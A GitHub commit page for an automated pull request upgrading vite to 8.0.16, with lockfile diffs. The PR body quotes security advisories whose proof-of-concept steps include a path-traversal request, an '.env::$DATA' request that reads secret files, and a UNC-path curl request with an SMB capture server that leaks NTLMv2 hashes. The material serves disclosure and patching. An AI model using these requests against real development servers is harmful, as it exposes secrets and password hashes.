Skip to content

Commit 71a238e

Browse files
renovate[bot]renovate[bot]
authored
chore(deps): update dependency vite to v8.0.16 [security] (UI5#8698)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`8.0.14` → `8.0.16`](https://renovatebot.com/diffs/npm/vite/8.0.14/8.0.16) | ![age](https://developer.mend.io/api/mc/badges/age/npm/vite/8.0.16?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/8.0.14/8.0.16?slim=true) | --- ### Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling [CVE-2026-39365](https://nvd.nist.gov/vuln/detail/CVE-2026-39365) / [GHSA-4w7w-66w2-5vf9](https://redirect.github.com/advisories/GHSA-4w7w-66w2-5vf9) <details> <summary>More information</summary> #### Details ##### Summary Any files ending with `.map` even out side the project can be returned to the browser. ##### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - have a sensitive content in files ending with `.map` and the path is predictable ##### Details In Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON. ##### PoC 1. Create a minimal PoC sourcemap outside the project root ```bash cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF ``` 2. Start the Vite dev server (example) ```bash pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080 ``` 3. Confirm that direct `/@&UI5#8203;fs` access is blocked by `strict` (returns 403) <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" /> 4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map` <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" /> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9) - [https://github.com/vitejs/vite/pull/22161](https://redirect.github.com/vitejs/vite/pull/22161) - [https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694](https://redirect.github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694) - [https://github.com/vitejs/vite/releases/tag/v6.4.2](https://redirect.github.com/vitejs/vite/releases/tag/v6.4.2) - [https://github.com/vitejs/vite/releases/tag/v7.3.2](https://redirect.github.com/vitejs/vite/releases/tag/v7.3.2) - [https://github.com/vitejs/vite/releases/tag/v8.0.5](https://redirect.github.com/vitejs/vite/releases/tag/v8.0.5) - [https://nvd.nist.gov/vuln/detail/CVE-2026-39365](https://nvd.nist.gov/vuln/detail/CVE-2026-39365) - [https://github.com/advisories/GHSA-4w7w-66w2-5vf9](https://redirect.github.com/advisories/GHSA-4w7w-66w2-5vf9) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-4w7w-66w2-5vf9) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### vite: `server.fs.deny` bypass on Windows alternate paths [CVE-2026-53571](https://nvd.nist.gov/vuln/detail/CVE-2026-53571) / [GHSA-fx2h-pf6j-xcff](https://redirect.github.com/advisories/GHSA-fx2h-pf6j-xcff) <details> <summary>More information</summary> #### Details ##### Summary The contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows. ##### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes) ##### Details Vite’s dev server denies direct access to sensitive files through `server.fs.deny`, including entries such as `.env`, `.env.*`, and `*.{crt,pem}`. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as `/.env::$DATA?raw` are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. ##### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev ``` Access via browser at `http://localhost:5173/.env::$DATA?raw` <img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a" src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170" /> Example expected result: - `/.env::$DATA?raw` returns the contents of `.env` - `/tls.pem::$DATA?raw` returns the contents of `tls.pem` #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff) - [https://github.com/advisories/GHSA-fx2h-pf6j-xcff](https://redirect.github.com/advisories/GHSA-fx2h-pf6j-xcff) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-fx2h-pf6j-xcff) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows [CVE-2026-53632](https://nvd.nist.gov/vuln/detail/CVE-2026-53632) / [GHSA-v6wh-96g9-6wx3](https://redirect.github.com/advisories/GHSA-v6wh-96g9-6wx3) <details> <summary>More information</summary> #### Details ##### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ##### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ##### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ##### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://redirect.github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://redirect.github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" /> #### Severity - CVSS Score: 5.5 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3](https://redirect.github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3) - [https://github.com/advisories/GHSA-v6wh-96g9-6wx3](https://redirect.github.com/advisories/GHSA-v6wh-96g9-6wx3) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v6wh-96g9-6wx3) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v8.0.16`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8016-2026-06-01-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v8.0.15...v8.0.16) ##### Bug Fixes - **deps:** reject UNC paths for launch-editor-middleware ([#&UI5#8203;22571](https://redirect.github.com/vitejs/vite/issues/22571)) ([50b9512](https://redirect.github.com/vitejs/vite/commit/50b951225bbf6151eb84a3ad5a454908ab4a76c9)) - reject windows alternate paths ([#&UI5#8203;22572](https://redirect.github.com/vitejs/vite/issues/22572)) ([dc245c7](https://redirect.github.com/vitejs/vite/commit/dc245c71e5007ea4d891a025e2d69ac96c736546)) ### [`v8.0.15`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8015-2026-06-01-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v8.0.14...v8.0.15) ##### Features - send 408 on request timeout ([#&UI5#8203;22476](https://redirect.github.com/vitejs/vite/issues/22476)) ([c85c9ee](https://redirect.github.com/vitejs/vite/commit/c85c9eeb9aaf41f477b48b057146887bd5620797)) - update rolldown to 1.0.3 ([#&UI5#8203;22538](https://redirect.github.com/vitejs/vite/issues/22538)) ([646dbed](https://redirect.github.com/vitejs/vite/commit/646dbedd2870f8ec48df0321177d8aa64bbd1575)) ##### Bug Fixes - capitalize error messages and remove spurious space in parse error ([#&UI5#8203;22488](https://redirect.github.com/vitejs/vite/issues/22488)) ([85a0eff](https://redirect.github.com/vitejs/vite/commit/85a0eff1c82bbb7c99a0fe8e63704316578a40d3)) - **deps:** update all non-major dependencies ([#&UI5#8203;22511](https://redirect.github.com/vitejs/vite/issues/22511)) ([2686d7d](https://redirect.github.com/vitejs/vite/commit/2686d7d0b722402204d3bcc687a87adea1bcf9fa)) - **dev:** fix html-proxy cache key mismatch for /@&UI5#8203;fs/ HTML paths ([#&UI5#8203;21762](https://redirect.github.com/vitejs/vite/issues/21762)) ([47c4213](https://redirect.github.com/vitejs/vite/commit/47c4213f134f562c41ed7c031e4788510cf7e31e)) - **glob:** error on relative glob in virtual module when no files match ([#&UI5#8203;22497](https://redirect.github.com/vitejs/vite/issues/22497)) ([5c8e98f](https://redirect.github.com/vitejs/vite/commit/5c8e98f8b584ac5d42f0f9b8580c49792213b13c)) - **optimizer:** close the rolldown bundle when write() rejects ([#&UI5#8203;22528](https://redirect.github.com/vitejs/vite/issues/22528)) ([e3cfb9d](https://redirect.github.com/vitejs/vite/commit/e3cfb9deecff563550fa1b8abd27656b8b292815)) - **resolve:** provide onWarn for viteResolvePlugin in JS plugin containers ([#&UI5#8203;22509](https://redirect.github.com/vitejs/vite/issues/22509)) ([40985f1](https://redirect.github.com/vitejs/vite/commit/40985f1c09b7696e594e6c5695fbc315d2da2c83)) ##### Miscellaneous Chores - **deps:** update rolldown-related dependencies ([#&UI5#8203;22566](https://redirect.github.com/vitejs/vite/issues/22566)) ([3052a67](https://redirect.github.com/vitejs/vite/commit/3052a67d9350f4c5076ab1c222c4a21a589cbcdd)) ##### Code Refactoring - correct logic in `collectAllModules` function ([#&UI5#8203;22562](https://redirect.github.com/vitejs/vite/issues/22562)) ([6978a9c](https://redirect.github.com/vitejs/vite/commit/6978a9ceb942c4f5e211d52b8a1e569f8a65c80c)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/UI5/webcomponents-react). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMTkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIxOS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
1 parent 5ca96d9 commit 71a238e

2 files changed

Lines changed: 79 additions & 79 deletions

File tree

‎package.json‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,7 @@
110110
"rimraf": "6.1.3",
111111
"typescript": "5.9.3",
112112
"typescript-eslint": "8.60.0",
113-
"vite": "8.0.14",
113+
"vite": "8.0.16",
114114
"vite-plugin-istanbul": "9.0.1",
115115
"vite-tsconfig-paths": "6.1.1"
116116
},

‎yarn.lock‎

Lines changed: 78 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -3735,10 +3735,10 @@ __metadata:
37353735
languageName: node
37363736
linkType: hard
37373737

3738-
"@oxc-project/types@npm:=0.132.0":
3739-
version: 0.132.0
3740-
resolution: "@oxc-project/types@npm:0.132.0"
3741-
checksum: 10c0/d0ca5e98be0b873d69e4f0f743eb35026833603dac11db9d55f2b5438251b381b886dc556fe3175a17b673f8e2073c49bde88d7e6e702aa09298c22b8b5504e1
3738+
"@oxc-project/types@npm:=0.133.0":
3739+
version: 0.133.0
3740+
resolution: "@oxc-project/types@npm:0.133.0"
3741+
checksum: 10c0/70c57ba58644f7ec217b670c301801f4d06995f4ccdba6b2bd106ea3e5ee49d616573e6ef8d55530b87571a960696543687f3850e87ad173d3f88965c30cdd63
37423742
languageName: node
37433743
linkType: hard
37443744

@@ -3994,93 +3994,93 @@ __metadata:
39943994
languageName: node
39953995
linkType: hard
39963996

3997-
"@rolldown/binding-android-arm64@npm:1.0.2":
3998-
version: 1.0.2
3999-
resolution: "@rolldown/binding-android-arm64@npm:1.0.2"
3997+
"@rolldown/binding-android-arm64@npm:1.0.3":
3998+
version: 1.0.3
3999+
resolution: "@rolldown/binding-android-arm64@npm:1.0.3"
40004000
conditions: os=android & cpu=arm64
40014001
languageName: node
40024002
linkType: hard
40034003

4004-
"@rolldown/binding-darwin-arm64@npm:1.0.2":
4005-
version: 1.0.2
4006-
resolution: "@rolldown/binding-darwin-arm64@npm:1.0.2"
4004+
"@rolldown/binding-darwin-arm64@npm:1.0.3":
4005+
version: 1.0.3
4006+
resolution: "@rolldown/binding-darwin-arm64@npm:1.0.3"
40074007
conditions: os=darwin & cpu=arm64
40084008
languageName: node
40094009
linkType: hard
40104010

4011-
"@rolldown/binding-darwin-x64@npm:1.0.2":
4012-
version: 1.0.2
4013-
resolution: "@rolldown/binding-darwin-x64@npm:1.0.2"
4011+
"@rolldown/binding-darwin-x64@npm:1.0.3":
4012+
version: 1.0.3
4013+
resolution: "@rolldown/binding-darwin-x64@npm:1.0.3"
40144014
conditions: os=darwin & cpu=x64
40154015
languageName: node
40164016
linkType: hard
40174017

4018-
"@rolldown/binding-freebsd-x64@npm:1.0.2":
4019-
version: 1.0.2
4020-
resolution: "@rolldown/binding-freebsd-x64@npm:1.0.2"
4018+
"@rolldown/binding-freebsd-x64@npm:1.0.3":
4019+
version: 1.0.3
4020+
resolution: "@rolldown/binding-freebsd-x64@npm:1.0.3"
40214021
conditions: os=freebsd & cpu=x64
40224022
languageName: node
40234023
linkType: hard
40244024

4025-
"@rolldown/binding-linux-arm-gnueabihf@npm:1.0.2":
4026-
version: 1.0.2
4027-
resolution: "@rolldown/binding-linux-arm-gnueabihf@npm:1.0.2"
4025+
"@rolldown/binding-linux-arm-gnueabihf@npm:1.0.3":
4026+
version: 1.0.3
4027+
resolution: "@rolldown/binding-linux-arm-gnueabihf@npm:1.0.3"
40284028
conditions: os=linux & cpu=arm
40294029
languageName: node
40304030
linkType: hard
40314031

4032-
"@rolldown/binding-linux-arm64-gnu@npm:1.0.2":
4033-
version: 1.0.2
4034-
resolution: "@rolldown/binding-linux-arm64-gnu@npm:1.0.2"
4032+
"@rolldown/binding-linux-arm64-gnu@npm:1.0.3":
4033+
version: 1.0.3
4034+
resolution: "@rolldown/binding-linux-arm64-gnu@npm:1.0.3"
40354035
conditions: os=linux & cpu=arm64 & libc=glibc
40364036
languageName: node
40374037
linkType: hard
40384038

4039-
"@rolldown/binding-linux-arm64-musl@npm:1.0.2":
4040-
version: 1.0.2
4041-
resolution: "@rolldown/binding-linux-arm64-musl@npm:1.0.2"
4039+
"@rolldown/binding-linux-arm64-musl@npm:1.0.3":
4040+
version: 1.0.3
4041+
resolution: "@rolldown/binding-linux-arm64-musl@npm:1.0.3"
40424042
conditions: os=linux & cpu=arm64 & libc=musl
40434043
languageName: node
40444044
linkType: hard
40454045

4046-
"@rolldown/binding-linux-ppc64-gnu@npm:1.0.2":
4047-
version: 1.0.2
4048-
resolution: "@rolldown/binding-linux-ppc64-gnu@npm:1.0.2"
4046+
"@rolldown/binding-linux-ppc64-gnu@npm:1.0.3":
4047+
version: 1.0.3
4048+
resolution: "@rolldown/binding-linux-ppc64-gnu@npm:1.0.3"
40494049
conditions: os=linux & cpu=ppc64 & libc=glibc
40504050
languageName: node
40514051
linkType: hard
40524052

4053-
"@rolldown/binding-linux-s390x-gnu@npm:1.0.2":
4054-
version: 1.0.2
4055-
resolution: "@rolldown/binding-linux-s390x-gnu@npm:1.0.2"
4053+
"@rolldown/binding-linux-s390x-gnu@npm:1.0.3":
4054+
version: 1.0.3
4055+
resolution: "@rolldown/binding-linux-s390x-gnu@npm:1.0.3"
40564056
conditions: os=linux & cpu=s390x & libc=glibc
40574057
languageName: node
40584058
linkType: hard
40594059

4060-
"@rolldown/binding-linux-x64-gnu@npm:1.0.2":
4061-
version: 1.0.2
4062-
resolution: "@rolldown/binding-linux-x64-gnu@npm:1.0.2"
4060+
"@rolldown/binding-linux-x64-gnu@npm:1.0.3":
4061+
version: 1.0.3
4062+
resolution: "@rolldown/binding-linux-x64-gnu@npm:1.0.3"
40634063
conditions: os=linux & cpu=x64 & libc=glibc
40644064
languageName: node
40654065
linkType: hard
40664066

4067-
"@rolldown/binding-linux-x64-musl@npm:1.0.2":
4068-
version: 1.0.2
4069-
resolution: "@rolldown/binding-linux-x64-musl@npm:1.0.2"
4067+
"@rolldown/binding-linux-x64-musl@npm:1.0.3":
4068+
version: 1.0.3
4069+
resolution: "@rolldown/binding-linux-x64-musl@npm:1.0.3"
40704070
conditions: os=linux & cpu=x64 & libc=musl
40714071
languageName: node
40724072
linkType: hard
40734073

4074-
"@rolldown/binding-openharmony-arm64@npm:1.0.2":
4075-
version: 1.0.2
4076-
resolution: "@rolldown/binding-openharmony-arm64@npm:1.0.2"
4074+
"@rolldown/binding-openharmony-arm64@npm:1.0.3":
4075+
version: 1.0.3
4076+
resolution: "@rolldown/binding-openharmony-arm64@npm:1.0.3"
40774077
conditions: os=openharmony & cpu=arm64
40784078
languageName: node
40794079
linkType: hard
40804080

4081-
"@rolldown/binding-wasm32-wasi@npm:1.0.2":
4082-
version: 1.0.2
4083-
resolution: "@rolldown/binding-wasm32-wasi@npm:1.0.2"
4081+
"@rolldown/binding-wasm32-wasi@npm:1.0.3":
4082+
version: 1.0.3
4083+
resolution: "@rolldown/binding-wasm32-wasi@npm:1.0.3"
40844084
dependencies:
40854085
"@emnapi/core": "npm:1.10.0"
40864086
"@emnapi/runtime": "npm:1.10.0"
@@ -4089,16 +4089,16 @@ __metadata:
40894089
languageName: node
40904090
linkType: hard
40914091

4092-
"@rolldown/binding-win32-arm64-msvc@npm:1.0.2":
4093-
version: 1.0.2
4094-
resolution: "@rolldown/binding-win32-arm64-msvc@npm:1.0.2"
4092+
"@rolldown/binding-win32-arm64-msvc@npm:1.0.3":
4093+
version: 1.0.3
4094+
resolution: "@rolldown/binding-win32-arm64-msvc@npm:1.0.3"
40954095
conditions: os=win32 & cpu=arm64
40964096
languageName: node
40974097
linkType: hard
40984098

4099-
"@rolldown/binding-win32-x64-msvc@npm:1.0.2":
4100-
version: 1.0.2
4101-
resolution: "@rolldown/binding-win32-x64-msvc@npm:1.0.2"
4099+
"@rolldown/binding-win32-x64-msvc@npm:1.0.3":
4100+
version: 1.0.3
4101+
resolution: "@rolldown/binding-win32-x64-msvc@npm:1.0.3"
41024102
conditions: os=win32 & cpu=x64
41034103
languageName: node
41044104
linkType: hard
@@ -20356,26 +20356,26 @@ __metadata:
2035620356
languageName: node
2035720357
linkType: hard
2035820358

20359-
"rolldown@npm:1.0.2":
20360-
version: 1.0.2
20361-
resolution: "rolldown@npm:1.0.2"
20362-
dependencies:
20363-
"@oxc-project/types": "npm:=0.132.0"
20364-
"@rolldown/binding-android-arm64": "npm:1.0.2"
20365-
"@rolldown/binding-darwin-arm64": "npm:1.0.2"
20366-
"@rolldown/binding-darwin-x64": "npm:1.0.2"
20367-
"@rolldown/binding-freebsd-x64": "npm:1.0.2"
20368-
"@rolldown/binding-linux-arm-gnueabihf": "npm:1.0.2"
20369-
"@rolldown/binding-linux-arm64-gnu": "npm:1.0.2"
20370-
"@rolldown/binding-linux-arm64-musl": "npm:1.0.2"
20371-
"@rolldown/binding-linux-ppc64-gnu": "npm:1.0.2"
20372-
"@rolldown/binding-linux-s390x-gnu": "npm:1.0.2"
20373-
"@rolldown/binding-linux-x64-gnu": "npm:1.0.2"
20374-
"@rolldown/binding-linux-x64-musl": "npm:1.0.2"
20375-
"@rolldown/binding-openharmony-arm64": "npm:1.0.2"
20376-
"@rolldown/binding-wasm32-wasi": "npm:1.0.2"
20377-
"@rolldown/binding-win32-arm64-msvc": "npm:1.0.2"
20378-
"@rolldown/binding-win32-x64-msvc": "npm:1.0.2"
20359+
"rolldown@npm:1.0.3":
20360+
version: 1.0.3
20361+
resolution: "rolldown@npm:1.0.3"
20362+
dependencies:
20363+
"@oxc-project/types": "npm:=0.133.0"
20364+
"@rolldown/binding-android-arm64": "npm:1.0.3"
20365+
"@rolldown/binding-darwin-arm64": "npm:1.0.3"
20366+
"@rolldown/binding-darwin-x64": "npm:1.0.3"
20367+
"@rolldown/binding-freebsd-x64": "npm:1.0.3"
20368+
"@rolldown/binding-linux-arm-gnueabihf": "npm:1.0.3"
20369+
"@rolldown/binding-linux-arm64-gnu": "npm:1.0.3"
20370+
"@rolldown/binding-linux-arm64-musl": "npm:1.0.3"
20371+
"@rolldown/binding-linux-ppc64-gnu": "npm:1.0.3"
20372+
"@rolldown/binding-linux-s390x-gnu": "npm:1.0.3"
20373+
"@rolldown/binding-linux-x64-gnu": "npm:1.0.3"
20374+
"@rolldown/binding-linux-x64-musl": "npm:1.0.3"
20375+
"@rolldown/binding-openharmony-arm64": "npm:1.0.3"
20376+
"@rolldown/binding-wasm32-wasi": "npm:1.0.3"
20377+
"@rolldown/binding-win32-arm64-msvc": "npm:1.0.3"
20378+
"@rolldown/binding-win32-x64-msvc": "npm:1.0.3"
2037920379
"@rolldown/pluginutils": "npm:^1.0.0"
2038020380
dependenciesMeta:
2038120381
"@rolldown/binding-android-arm64":
@@ -20410,7 +20410,7 @@ __metadata:
2041020410
optional: true
2041120411
bin:
2041220412
rolldown: ./bin/cli.mjs
20413-
checksum: 10c0/628327a6e3122c0b62880f1c87d54095394e5138a6af2e6e7b2f67ef4c4b11f1421db68c9a5bb4e1be161465a863ab4f68f15076ce895cd4bb3d0ba18a3b20b1
20413+
checksum: 10c0/5f9dd47b7abf203b16bc600db68542f245e974c800e59ff50b76157d1dada1403657690435b036fabca88e93d13a67c31abe5cfaa6f61ce33717f61720204cdf
2041420414
languageName: node
2041520415
linkType: hard
2041620416

@@ -21843,7 +21843,7 @@ __metadata:
2184321843
languageName: node
2184421844
linkType: hard
2184521845

21846-
"tinyglobby@npm:^0.2.12, tinyglobby@npm:^0.2.13, tinyglobby@npm:^0.2.14, tinyglobby@npm:^0.2.15, tinyglobby@npm:^0.2.16":
21846+
"tinyglobby@npm:^0.2.12, tinyglobby@npm:^0.2.13, tinyglobby@npm:^0.2.14, tinyglobby@npm:^0.2.15, tinyglobby@npm:^0.2.17":
2184721847
version: 0.2.17
2184821848
resolution: "tinyglobby@npm:0.2.17"
2184921849
dependencies:
@@ -22437,7 +22437,7 @@ __metadata:
2243722437
tocbot: "npm:4.36.8"
2243822438
typescript: "npm:5.9.3"
2243922439
typescript-eslint: "npm:8.60.0"
22440-
vite: "npm:8.0.14"
22440+
vite: "npm:8.0.16"
2244122441
vite-plugin-istanbul: "npm:9.0.1"
2244222442
vite-tsconfig-paths: "npm:6.1.1"
2244322443
languageName: unknown
@@ -23099,16 +23099,16 @@ __metadata:
2309923099
languageName: node
2310023100
linkType: hard
2310123101

23102-
"vite@npm:8.0.14":
23103-
version: 8.0.14
23104-
resolution: "vite@npm:8.0.14"
23102+
"vite@npm:8.0.16":
23103+
version: 8.0.16
23104+
resolution: "vite@npm:8.0.16"
2310523105
dependencies:
2310623106
fsevents: "npm:~2.3.3"
2310723107
lightningcss: "npm:^1.32.0"
2310823108
picomatch: "npm:^4.0.4"
2310923109
postcss: "npm:^8.5.15"
23110-
rolldown: "npm:1.0.2"
23111-
tinyglobby: "npm:^0.2.16"
23110+
rolldown: "npm:1.0.3"
23111+
tinyglobby: "npm:^0.2.17"
2311223112
peerDependencies:
2311323113
"@types/node": ^20.19.0 || >=22.12.0
2311423114
"@vitejs/devtools": ^0.1.18
@@ -23152,7 +23152,7 @@ __metadata:
2315223152
optional: true
2315323153
bin:
2315423154
vite: bin/vite.js
23155-
checksum: 10c0/1ff99b4daadc64aed5f9e40387ecf39fd3bca45c1a5c4fa4aa82197de901930f0507af8d75c54715e2744c99575913947efb625653a78ef6df3997c5613970bd
23155+
checksum: 10c0/d75be3fbe2f63e6a8145325970338afaf0dd4d96ba9175c13f9a286fd5f95afc489401b693e4fa6c0899a4dd0e137be91cdf9401a40a635563911ad5036e3467
2315623156
languageName: node
2315723157
linkType: hard
2315823158

0 commit comments

Comments
 (0)